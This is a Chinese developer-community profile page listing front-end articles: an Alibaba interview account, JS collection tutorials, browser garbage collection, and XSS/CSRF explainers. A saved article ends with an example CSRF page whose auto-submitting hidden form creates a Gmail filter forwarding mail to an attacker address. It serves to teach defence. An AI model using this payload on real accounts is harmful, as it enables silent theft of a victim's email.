小葱

小葱 查看完整档案

北京编辑  |  填写毕业院校  |  填写所在公司/组织填写个人主网站
编辑
_ | |__ _ _ __ _ | '_ \| | | |/ _` | | |_) | |_| | (_| | |_.__/ \__,_|\__, | |___/ 该用户太懒什么也没留下

个人动态

小葱 收藏了文章 · 9月12日

热乎的,三本毕业(非科班),四次阿里面试,终拿 offer

作者:gauseen
公众号: 「学前端」,只搞技术不搞广告文,文末有二维码哦

第一次 20:00

电话一面

  • 自我介绍
  • 对公司工程化做过哪些事情
  • localStorage、cookie 区别
  • 正则预检?(没听说过)
  • 什么是跨域,如何解决
  • vue 3 与 vue 2 的区别
  • 前端性能优化
  • http 缓存(客户端命中缓存后会发请求吗?)
  • 如何不让客户端发出请求(PWA,APP cache)
  • 有什么想问我的?

面试完感觉不错,当场一面面试官就给我说不出意外会有二面电话,结束

电话二面

第二天中午,二面面试官就打电话过来,约了周五 20:00,但是 18:00 左右的时候,他说有事比较忙,能不能约到当天晚上 22:00,然后我说可以啊。

周五晚上 21:50 左右,我就在小区花园等电话,不一会就来了电话,当时天气很冷。。。

  • 自我介绍
  • 怎么与前端结缘的,给你 5 分钟左右,从大学开始说一下吧?
  • 在第一家公司用的什么技术?
  • 在第二家公司有人带你吗?
  • 在第二家公司技术栈发生了什么变化,你都做了些什么?
  • 如何获取页面的所有标签种类?
  • 伪类选择器有哪些?
  • 给你一个 div 盒子,你有多少种方式让它左右移动?
  • 盒模型有几种?用一句话说一下它们的区别?
  • 前端性能优化?
  • setTimeout(fn, 0) 是立刻执行吗?为什么?
  • vue 2.x 响应式原理?
  • vue 3 与 vue 2 的区别?
  • node 实现原理?
  • koa、express 框架有了解吗?
  • 看你不是计算机专业,对算法和数据结构有了解吗?
  • 如何给组员评绩效?
  • 微前端了解吗?
  • 公司项目部署流程?
  • 有什么想问我的?

自我感觉回答的不错,但是隔天早上 8 点左右就收到了被拒绝的邮件(recruiting)。。。

心里很失落,我打阿里巴巴客服电话咨询了为什么被拒绝,客服说原因是不能向外透露的。。。凉凉。。。

面试还是有一部分缘分因素在其中的

第二次 20:30

隔离有 2 周左右,我的简历被另一个团队看到,当时正在吃晚饭,突然袭击,说我们是阿里巴巴某某团队的(具体团队不记得了),你现在方便吗?可以电话面试吗?

当时就说可以,然后就出去,电话面试了

电话一面

  • 自我介绍
  • webpack 中 plugin 与 loader 的区别?
  • webpack 打包如何优化?具体如何配置说一下?
  • get 与 post 请求区别有哪些?
  • http 与 https 了解吗?(要说一下中间人攻击)
  • 在 https 域名下,可以嵌套 http 协议的 iframe 吗?(没试过不知道,面试官让我猜一下。。。)
  • Web 前端安全有哪些?如何防护?
  • 如果想在页面渲染用户提交过来的标签,如何避免 XSS 攻击?(当时不知道,后面想了想应该是设置标签白名单)
  • 你在公司做过最自豪的是哪件事?
  • 最近遇到最难的问题是什么?
  • 你技术栈是 vue,也工作那么久了为什么不学 react 呢?
  • 你愿意从 vue 转向 react 技术栈吗?
  • 有什么想问我的?

一面在线笔试

第二天上午 10:00 左右,就接到了接下来的面试电话,说是在线笔试?当时比较蒙蔽,不知道是怎样进行。。。然后就约到了当天晚上 20:30 开始

特别说明:
在约定的时间,面试官向你邮箱发送一个链接,浏览器访问链接就可以进入在线笔试界面了。编码时间大概一个小时左右,全程编码无提示。。。有问题可以向面试官打字交流,所以平时开发还是要多注意修炼内功啊!还有就是不要耍小聪明...

做题的时候太紧张,发挥的不是很好,感觉要挂,然后就。。。真的挂了。。。

第二天就收到邮件通知了,大概就说不合适,不会继续安排接下来的面试。。。

每次收到面试被拒绝的消息都会特别难受、懊悔,面试真的很累,心累。。。

第三次 20:30

当时正在吃晚饭,接到了阿里面试通知。问我有没有考虑新的工作机会,简单了解了技术栈之后,说这 2 天会给我打电话面试。

电话一面

面试官人很 nice,说:咱们从你的简历开始说吧,要不然会比较尬,我说:好。

  • 自我介绍
  • 聊了一下简历中提到的第一个项目
  • 问我如何优化的?真正在项目里如何优化的?
  • 移动如何端适配?
  • dpr 的值会影响 rem 吗?该如何处理呢?
  • vue 2.x 生命周期?每个生命中通常做哪些操作?
  • vue 2.x 双向绑定原理?
  • taro 有了解吗?
  • mpvue 原理知道吗?
  • 小程序解决了什么问题?
  • 如果业务压力比较大,需求比较紧急,你如何处理?
  • 有什么想问我的?

一面在线笔试

跟之前在线笔试一样,共 3 题,一共时间一个小时。这次做的相对来说比较好,然后就通过了!

电话二面

也是在 20:30 左右,面试官打来电话,开始面试。

  • 自我介绍
  • 简历中第一个项目如何优化?首页一共有多少个接口,每个接口时间多少?(一脸蒙蔽)
  • 埋点做了吗?为什么不做?
  • 遇到比较难的问题是什么?
  • 你们前端团队价值是什么?
  • 后端人开发前端页面这种方式好吗?
  • 如果再待 2 年,你会做什么?
  • vue 3 中用 proxy 缺点是什么?除了兼容性,还有其它缺点吗?
  • vue 源码读过吗?你感觉哪段源码比较好?为什么?
  • 前端发展趋势是什么?
  • 有什么想问我的吗?

回答的不是特别好,好多问题没有准备好话术去如何更好的表达出来。面试官说我可以推你到阿里的全资子公司,然后就答应了。。。

电话三面

过了 1-2 周左右,就开始了接下来的三面。整个过程就像是闲聊天。主要是聊现在公司的业务。一个技术问题没有问。。。

  • 自我介绍
  • 公司业务情况?业务闭环是什么?
  • 职业规划?
  • 为什么离职?
  • 你是如何学习的?

还有一些问题,忘了...

然而,命运没那么顺利,总会有困难在等着自己。你猜的没错!这次三面又挂了。。。

“真是天将降大任于斯人也”。我也只能这样安慰我自己了。。。

就在接到这个消息的那天晚上,我收到了阿里另一个 BU 团队对我的面试邀请。当时心情真的特别复杂,文笔不好,没有适合的文字来描述我当时的心情。

说面就面,当天晚上 20:30 就开始了面试

第四次 20:30

在线笔试 + 视频面试

这次面试方式比较特别,在线笔试 + 视频面试,一遍回答一遍敲代码,完全无提示,就像是文本编辑器。

  • 自我介绍
  • 手写 flat、debounce 函数?
  • url 输入到页面展示都发生了什么?(展开说每个具体细节)
  • 浏览器缓存?
  • 跨域及处理方式?
  • css 会阻止 dom 渲染吗?
  • script 会阻止 dom 解析吗,除了将 script 放在 body 底部,还有什么方法防止阻塞渲染?
  • 接着进一步提问 defer、async 区别?
  • css 选择器是如何解析匹配的,为什么?
  • 垂直居中的方法有哪些?
  • vue 跟 react 对比?
  • vue diff 算法?
  • vue key 值作用?
  • nextTick 作用和原理?
  • vue 2.x 响应式如何实现的?
  • 虚拟 DOM 有哪几部分组成?
  • git rebase、git cherry-pick、git reflog 作用?
  • 浏览器事件循环机制?
  • 问项目相关?
  • webpack plugin 写过吗?用来做什么的?如何实现呢?
  • JS 设计模式之工厂模式有了解吗?
  • 移动端适配?(rem 或者 vw/vh)
  • async 与 await 原理?
  • http/1.1 与 http/2 区别
  • options 请求是什么?什么时候会触发?
  • 什么是堆、栈、链表?
  • 虚拟 DOM 有哪几部分组成?
  • 平时通过什么渠道去学习?
  • 你有什么想问我的?

面试了 1 个多小时,回答的还不错。感觉只能通过面试才能修复面试后失落的心情。在哪里跌倒就要在哪里爬起来!!!

视频二面(钉钉视频)

大佬首先自我介绍了一下团队目前业务情况

  • 自我介绍
  • cookie 有了解吗?(从后端种 cookie 到前端 http 请求说了一遍)
  • 它会有什么安全问题吗?如何解决?
  • cookie 的 SameSite 属性有了解吗?
  • 如果再待 2 年,你打算做什么?
  • 然后根据你自己将要做的事情,展开细细询问?
  • vue 2.x 响应式如何实现的?
  • vue 3 响应式如何实现的?优缺点是什么?
  • 平时怎么学习的?
  • 为什么离职?
  • 有什么想问我的?

我问了:根据我刚刚的表现,能不能给我一些建议?

老大回答说:看我一面的面试 80% 的都回答对了,基础知识很扎实,主要对复杂场景下架构方面的技能需要提升。

还有一些问题记不清楚了,等想到了再更新吧。

视频三面(钉钉视频)

老时间,20:30,大佬用钉钉给我开了视频,开始视频面试。

大佬先说本次面试分 3 大部分:技术、业务、规划

  • 自我介绍
  • 数组如何找最大值?
  • applycall 的区别?
  • bind 返回的函数,再次 bind 后,上下文是指向哪个?
  • 将一个元素隐藏你有几种方式?
  • 进一步提问 visibility: hiddenopacity: 0 有什么区别?
  • http/1.0 、http/1.1、http/2、http/3 区别?
  • 强缓存与协商缓存具体实现?
  • 遇到最难的问题是什么?
  • 业务相关的问题?
  • 职业规划相关?

这次跟聊得很开心!一共聊了一个半小时左右。整体感觉不错,也向大佬学到了很多技术之外的东西。

HR 视频面试

HR 人很好,怕我紧张,专门开了视频面试。

  • 自我介绍?
  • 团队成员介绍?
  • 你是如何评价自己的?
  • 为什么离职?
  • 印象比较深的项目?
  • 公司中印象比较深刻的人?
  • 对我们公司的认识?
  • 现在薪资情况?入职期望薪资?
  • 你有考虑其它公司机会吗?
  • 多久能入职?
  • 你有什么想问我的?

提醒一下大家,请重视 HR 面试,并不比技术面简单。

第四次面试,从开始面试到拿到 offer 一共经历了大概 20 多天,总体来说,还算比较顺利。

大概就是这样,感谢以上大佬给我的一些建议,我会努力把自己变得更好,感谢。

心得

决定面试成败的因素有很多(技术 + 心态 + 机遇),所以要以平常心来对待每一次面试,不要慌,我也是因为紧张不够自信错失了一些机会。

就像是手里的沙子,用力握紧,只会加速它的流失。所以平常心很重要。

面试真的是个脑力活,说实话当面试失败的时候真的很沮丧,也有一度怀疑自己的能力。但是每一次失败都是一块通向成功的垫脚石。所以失败不要怕,要厚积薄发,时机到了就成了。

面试过程就像你与面试官之间在下一局棋,尽量把每一步都控制在自己的“棋局”中。也就是你简历中提到的、面试中回答的每个技术词汇,都能保证有自己的理解和认识,不至于被问的蒙蔽。

最后

想了解更多阿里面试相关的同学可关注,只搞技术,不搞广告文【学前端】公众号,里面有我面试前准备的技术点和自己的总结:

学前端.png

个人 github 地址:https://github.com/gauseen

个人微信:gauseen

查看原文

小葱 发布了文章 · 8月29日

Set、Weak Set、Map、Week Map

1 Set(集合)

ES6 新增的一种新的数据结构,类似于数组,但成员是唯一且无序的,没有重复的值。

Set 本身是一种构造函数,用来生成 Set 数据结构

new Set([iterable])
const s = new Set()
[1, 2, 3, 4, 3, 2, 1].forEach(x => s.add(x))
for (let i of s) {
    console.log(i)    // 1 2 3 4
}
// 去重数组的重复对象
let arr = [1, 2, 3, 2, 1, 1]
[... new Set(arr)]    // [1, 2, 3]

Set 对象允许你储存任何类型的唯一值,无论是原始值或者是对象引用。向 Set 加入值的时候,不会发生类型转换,所以5"5"是两个不同的值。Set 内部判断两个值是否不同,使用的算法叫做“Same-value-zero equality”,它类似于精确相等运算符(===),主要的区别是NaN等于自身,而精确相等运算符认为NaN不等于自身。

let set = new Set();
let a = NaN;
let b = NaN;
set.add(a);
set.add(b);
set // Set {NaN}
let set1 = new Set()
set1.add(5)
set1.add('5')
console.log([...set1])    // [5, "5"]


Set 实例属性

  • constructor: 构造函数
  • size:元素数量
let set = new Set([1, 2, 3, 2, 1])

console.log(set.length)    // undefined
console.log(set.size)    // 3

Set 实例方法

  • 操作方法

    • add(value):新增,相当于 array里的push
    • delete(value):存在即删除集合中value
    • has(value):判断集合中是否存在 value
    • clear():清空集合
let set = new Set()
set.add(1).add(2).add(1)

set.has(1)    // true
set.has(3)    // false
set.delete(1)    
set.has(1)    // false

Array.from 方法可以将 Set 结构转为数组

const items = new Set([1, 2, 3, 2])
const array = Array.from(items)
console.log(array)    // [1, 2, 3]
// 或
const arr = [...items]
console.log(arr)    // [1, 2, 3]

遍历方法(遍历顺序为插入顺序)

  • keys():返回一个包含集合中所有键的迭代器
  • values():返回一个包含集合中所有值得迭代器
  • entries():返回一个包含Set对象中所有元素得键值对迭代器
  • forEach(callbackFn, thisArg):用于对集合成员执行callbackFn操作,如果提供了 thisArg 参数,回调中的this会是这个参数,没有返回值
let set = new Set([1, 2, 3])
console.log(set.keys())    // SetIterator {1, 2, 3}
console.log(set.values())    // SetIterator {1, 2, 3}
console.log(set.entries())    // SetIterator {1, 2, 3}
for (let item of set.keys()) {
  console.log(item);
}    // 1    2     3
for (let item of set.entries()) {
  console.log(item);
}    // [1, 1]    [2, 2]    [3, 3]
set.forEach((value, key) => {
    console.log(key + ' : ' + value)
})    // 1 : 1    2 : 2    3 : 3
console.log([...set])    // [1, 2, 3]

Set 可默认遍历,默认迭代器生成函数是 values() 方法

Set.prototype[Symbol.iterator] === Set.prototype.values    // true

所以, Set可以使用 map、filter 方法

let set = new Set([1, 2, 3])
set = new Set([...set].map(item => item * 2))
console.log([...set])    // [2, 4, 6]

set = new Set([...set].filter(item => (item >= 4)))
console.log([...set])    //[4, 6]

因此,Set 很容易实现交集(Intersect)、并集(Union)、差集(Difference)

let set1 = new Set([1, 2, 3])
let set2 = new Set([4, 3, 2])

let intersect = new Set([...set1].filter(value => set2.has(value)))
let union = new Set([...set1, ...set2])
let difference = new Set([...set1].filter(value => !set2.has(value)))

console.log(intersect)    // Set {2, 3}
console.log(union)        // Set {1, 2, 3, 4}
console.log(difference)    // Set {1}

2. WeakSet

WeakSet 对象允许你将弱引用对象储存在一个集合中
WeakSet 与 Set 的区别:

  • WeakSet 只能储存对象引用,不能存放值,而 Set 对象都可以
  • WeakSet 对象中储存的对象值都是被弱引用的,即垃圾回收机制不考虑 WeakSet 对该对象的应用,如果没有其他的变量或属性引用这个对象值,则这个对象将会被垃圾回收掉(不考虑该对象还存在于 WeakSet 中),所以,WeakSet 对象里有多少个成员元素,取决于垃圾回收机制有没有运行,运行前后成员个数可能不一致,遍历结束之后,有的成员可能取不到了(被垃圾回收了),WeakSet 对象是无法被遍历的(ES6 规定 WeakSet 不可遍历),也没有办法拿到它包含的所有元素

constructor:构造函数,任何一个具有 Iterable 接口的对象,都可以作参数

const arr = [[1, 2], [3, 4]]
const weakset = new WeakSet(arr)
console.log(weakset)

方法:

  • add(value):在WeakSet 对象中添加一个元素value
  • has(value):判断 WeakSet 对象中是否包含value
  • delete(value):删除元素 value
  • clear():清空所有元素,注意该方法已废弃
var ws = new WeakSet()
var obj = {}
var foo = {}

ws.add(window)
ws.add(obj)

ws.has(window)    // true
ws.has(foo)    // false

ws.delete(window)    // true
ws.has(window)    // false

3. 字典(Map)

集合 与 字典 的区别:

  • 共同点:集合、字典 可以储存不重复的值
  • 不同点:集合 是以 [value, value]的形式储存元素,字典 是以 [key, value] 的形式储存
const m = new Map()
const o = {p: 'haha'}
m.set(o, 'content')
m.get(o)    // content

m.has(o)    // true
m.delete(o)    // true
m.has(o)    // false

任何具有 Iterator 接口、且每个成员都是一个双元素的数组的数据结构都可以当作Map构造函数的参数,例如:

const set = new Set([
  ['foo', 1],
  ['bar', 2]
]);
const m1 = new Map(set);
m1.get('foo') // 1

const m2 = new Map([['baz', 3]]);
const m3 = new Map(m2);
m3.get('baz') // 3

Map 的键实际上是跟内存地址绑定的,只要内存地址不一样,就视为两个键。这就解决了同名属性碰撞(clash)的问题,我们扩展别人的库的时候,如果使用对象作为键名,就不用担心自己的属性与原作者的属性同名。

如果 Map 的键是一个简单类型的值(数字、字符串、布尔值),则只要两个值严格相等,Map 将其视为一个键,比如0-0就是一个键,布尔值true和字符串true则是两个不同的键。另外,undefinednull也是两个不同的键。虽然NaN不严格相等于自身,但 Map 将其视为同一个键。

let map = new Map();

map.set(-0, 123);
map.get(+0) // 123

map.set(true, 1);
map.set('true', 2);
map.get(true) // 1

map.set(undefined, 3);
map.set(null, 4);
map.get(undefined) // 3

map.set(NaN, 123);
map.get(NaN) // 123

Map 的属性及方法

属性:

  • constructor:构造函数
  • size:返回字典中所包含的元素个数
const map = new Map([
  ['name', 'An'],
  ['des', 'JS']
]);

map.size // 2

操作方法:

  • set(key, value):向字典中添加新元素
  • get(key):通过键查找特定的数值并返回
  • has(key):判断字典中是否存在键key
  • delete(key):通过键 key 从字典中移除对应的数据
  • clear():将这个字典中的所有元素删除

遍历方法

  • Keys():将字典中包含的所有键名以迭代器形式返回
  • values():将字典中包含的所有数值以迭代器形式返回
  • entries():返回所有成员的迭代器
  • forEach():遍历字典的所有成员
const map = new Map([
            ['name', 'An'],
            ['des', 'JS']
        ]);
console.log(map.entries())    // MapIterator {"name" => "An", "des" => "JS"}
console.log(map.keys()) // MapIterator {"name", "des"}

4. WeakMap

WeakMap 对象是一组键值对的集合,其中的键是弱引用对象,而值可以是任意

注意,WeakMap 弱引用的只是键名,而不是键值。键值依然是正常引用。

WeakMap 中,每个键对自己所引用对象的引用都是弱引用,在没有其他引用和该键引用同一对象,这个对象将会被垃圾回收(相应的key则变成无效的),所以,WeakMap 的 key 是不可枚举的。

属性:

  • constructor:构造函数

方法:

  • has(key):判断是否有 key 关联对象
  • get(key):返回key关联对象(没有则则返回 undefined)
  • set(key):设置一组key关联对象
  • delete(key):移除 key 的关联对象
let myElement = document.getElementById('logo');
let myWeakmap = new WeakMap();

myWeakmap.set(myElement, {timesClicked: 0});

myElement.addEventListener('click', function() {
  let logoData = myWeakmap.get(myElement);
  logoData.timesClicked++;
}, false);

5. 总结

  • Set

    • 成员唯一、无序且不重复
    • [value, value],键值与键名是一致的(或者说只有键值,没有键名)
    • 可以遍历,方法有:add、delete、has
  • WeakSet

    • 成员都是对象
    • 成员都是弱引用,可以被垃圾回收机制回收,可以用来保存DOM节点,不容易造成内存泄漏
    • 不能遍历,方法有add、delete、has
  • Map

    • 本质上是键值对的集合,类似集合
    • 可以遍历,方法很多可以跟各种数据格式转换
  • WeakMap

    • 只接受对象作为键名(null除外),不接受其他类型的值作为键名
    • 键名是弱引用,键值可以是任意的,键名所指向的对象可以被垃圾回收,此时键名是无效的
    • 不能遍历,方法有get、set、has、delete
查看原文

赞 0 收藏 0 评论 0

小葱 发布了文章 · 8月29日

浏览器的垃圾回收机制

一 什么是垃圾数据?

我们在写 js 代码的时候,会频繁地操作数据。在一些数据不被需要的时候,它就是垃圾数据,垃圾数据占用的内存就应该被回收。

变量的生命周期

这样一段代码

let dog.a = new Array(1)

当 JavaScript 执行这段代码的时候,会先在全局作用域中添加一个dog 属性,并在堆中创建了一个空对象,将该对象的地址指向了 dog。随后又创建一个大小为 1 的数组,并将属性地址指向了 dog.a。此时的内存布局图如下所示:
image
如果此时,我将另外一个对象赋给了 a 属性,代码如下所示:

 dog.a = new Object()

此时布局图:
image
a 的指向改变了, 此时堆中的数组对象就成为了不被使用的数据,专业名词叫「不可达」的数据。
这就是需要回收的垃圾数据。

二 垃圾回收算法

可以将这个过程想象成从根溢出一个巨大的油漆桶,它从一个根节点出发将可到达的对象标记染色, 然后移除未标记的。
第一步:标记空间中「可达」值。
V8 采用的是可达性 (reachability) 算法来判断堆中的对象应不应该被回收。这个算法的思路是这样的:
从根节点(Root)出发,遍历所有的对象。
可以遍历到的对象,是可达的(reachable)。
没有被遍历到的对象,不可达的(unreachable)。
在浏览器环境下,根节点有很多,主要包括这几种:

  • 全局变量 window,位于每个 iframe 中;
  • 文档 DOM 树;
  • 存放在栈上的变量;

...
这些根节点不是垃圾,不可能被回收。
第二步:回收「不可达」的值所占据的内存。
在所有的标记完成之后,统一清理内存中所有不可达的对象。
第三步,做内存整理。
在频繁回收对象后,内存中就会存在大量不连续空间,专业名词叫「内存碎片」。
当内存中出现了大量的内存碎片,如果需要分配较大的连续内存时,就有可能出现内存不足的情况。

三 什么时候垃圾回收

浏览器进行垃圾回收的时候,会暂停 JavaScript 脚本,等垃圾回收完毕再继续执行。
对于普通应用这样没什么问题,但对于 JS 游戏、动画对连贯性要求比较高的应用,如果暂停时间很长就会造成页面卡顿。
这就是我们接下来谈的关于垃圾回收的问题:什么时候进行垃圾回收,可以避免长时间暂停。
所以最后一步是整理内存碎片。(但这步其实是可选的,因为有的垃圾回收器不会产生内存碎片,比如接下来我们要介绍的副垃圾回收器。)
分代收集
浏览器将数据分为两种,一种是「临时」对象,一种是「长久」对象。
临时对象:
大部分对象在内存中存活的时间很短;
比如函数内部声明的变量,或者块级作用域中的变量。当函数或者代码块执行结束时,作用域中定义的变量就会被销毁;
这类对象很快就变得不可访问,应该快点回收。
长久对象:
生命周期很长的对象,比如全局的 window、DOM、Web API 等等;
这类对象可以慢点回收。
这两种对象对应不同的回收策略,所以,V8 把堆分为新生代和老生代两个区域, 新生代中存放临时对象,老生代中存放持久对象。
并且让副垃圾回收器、主垃圾回收器,分别负责新生代、老生代的垃圾回收。这样就可以实现高效的垃圾回收啦。
主垃圾回收器
负责老生代的垃圾回收,有两个特点:对象占用空间大;对象存活时间长。
它使用「标记-清除」的算法执行垃圾回收。
首先是标记。从一组根元素开始,递归遍历这组根元素;
在这个遍历过程中,能到达的元素称为活动对象,没有到达的元素就可以判断为垃圾数据。然后是垃圾清除。直接将标记为垃圾的数据清理掉。多次标记-清除后,会产生大量不连续的内存碎片,需要进行内存整理。
副垃圾回收器
负责新生代的垃圾回收,通常只支持 1~8 M 的容量。新生代被分为两个区域:一般是对象区域,一半是空闲区域。
新加入的对象都被放入对象区域,等对象区域快满的时候,会执行一次垃圾清理。先给对象区域所有垃圾做标记;标记完成后,存活的对象被复制到空闲区域,并且将他们有序的排列一遍;
这就回到我们前面留下的问题 -- 副垃圾回收器没有碎片整理。因为空闲区域里此时是有序的,没有碎片,也就不需要整理了;复制完成后,对象区域会和空闲区域进行对调。将空闲区域中存活的对象放入对象区域里。这样,就完成了垃圾回收。因为副垃圾回收器操作比较频繁,所以为了执行效率,一般新生区的空间会被设置得比较小。一旦检测到空间装满了,就执行垃圾回收。
image
一句话总结分代回收就是:将堆分为新生代与老生代,多回收新生代,少回收老生代。这样就减少了每次需遍历的对象,从而减少每次垃圾回收的耗时。
增量收集
如果脚本中有许多对象,引擎一次性遍历整个对象,会造成一个长时间暂停。所以引擎将垃圾收集工作分成更小的块,每次处理一部分,多次处理。
这样就解决了长时间停顿的问题。
闲时收集
垃圾收集器只会在 CPU 空闲时尝试运行,以减少可能对代码执行的影响。

四 浏览器中不同类型变量的内存何时释放?

Javascritp 中类型:值类型,引用类型。
引用类型:
在没有引用之后,通过 V8 自动回收。
值类型:
如果处于闭包的情况下,要等闭包没有引用才会被 V8 回收;
非闭包的情况下,等待 V8 的新生代切换的时候回收。

查看原文

赞 0 收藏 0 评论 0

小葱 发布了文章 · 8月29日

XSS和CSRF

xss

xss概念

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。

XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。

而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。

在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

xss分类

根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。

类型存储区*插入点*
存储型 XSS后端数据库HTML
反射型 XSSURLHTML
DOM 型 XSS后端数据库/前端存储/URLURL

JavaScript

  • 存储区:恶意代码存放的位置。
  • 插入点:由谁取得恶意代码,并插入到网页上。

存储型 XSS

存储型 XSS 的攻击步骤:

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

反射型 XSS

反射型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

DOM 型 XSS

DOM 型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL。
  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

XSS 攻击的预防

1 输入过滤:在用户提交时,由前端与后端都需要校验下是否符合规范
2 纯前端渲染 在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。
3 转义 HTML HTML 的编码是十分复杂的,在不同的上下文里要使用相应的转义规则。
4 避免在字符串中拼接不可信数据。DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。
5 Content Security Policy
严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

6 其他安全措施

  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
  • 验证码:防止脚本冒充用户提交危险操作。

CSRF

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

一个典型的CSRF攻击有着如下的流程:

  • 受害者登录a.com,并保留了登录凭证(Cookie)。
  • 攻击者引诱受害者访问了b.com。
  • b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.com的Cookie。
  • a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
  • a.com以受害者的名义执行了act=xx。
  • 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。

防护策略

  • 阻止不明外域的访问

    • 同源检测
    • Samesite Cookie
  • 提交时要求附加本域才能获取的信息

    • CSRF Token
    • 双重Cookie验证
查看原文

赞 0 收藏 0 评论 0

小葱 收藏了文章 · 8月28日

前端安全系列之二:如何防止CSRF攻击?

背景

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

前端安全

近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端同学在日常开发中不断预防和修复安全漏洞。本文是该系列的第二篇。

今天我们讲解一下 CSRF,其实相比XSS,CSRF的名气似乎并不是那么大,很多人都认为“CSRF不具备那么大的破坏性”。真的是这样吗?接下来,我们还是有请小明同学再次“闪亮”登场。

CSRF攻击

CSRF漏洞的发生

相比XSS,CSRF的名气似乎并不是那么大,很多人都认为CSRF“不那么有破坏性”。真的是这样吗?

接下来有请小明出场~~

小明的悲惨遭遇

这一天,小明同学百无聊赖地刷着Gmail邮件。大部分都是没营养的通知、验证码、聊天记录之类。但有一封邮件引起了小明的注意:

甩卖比特币,一个只要998!!

聪明的小明当然知道这种肯定是骗子,但还是抱着好奇的态度点了进去(请勿模仿)。果然,这只是一个什么都没有的空白页面,小明失望的关闭了页面。一切似乎什么都没有发生......

在这平静的外表之下,黑客的攻击已然得手。小明的Gmail中,被偷偷设置了一个过滤规则,这个规则使得所有的邮件都会被自动转发到haker@hackermail.com。小明还在继续刷着邮件,殊不知他的邮件正在一封封地,如脱缰的野马一般地,持续不断地向着黑客的邮箱转发而去。

不久之后的一天,小明发现自己的域名已经被转让了。懵懂的小明以为是域名到期自己忘了续费,直到有一天,对方开出了 $650 的赎回价码,小明才开始觉得不太对劲。

小明仔细查了下域名的转让,对方是拥有自己的验证码的,而域名的验证码只存在于自己的邮箱里面。小明回想起那天奇怪的链接,打开后重新查看了“空白页”的源码:

<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> 
    <input type="hidden" name="cf2_emc" value="true"/> 
    <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> 
    .....
    <input type="hidden" name="irf" value="on"/> 
    <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
</form> 
<script> 
    document.forms[0].submit();
</script>
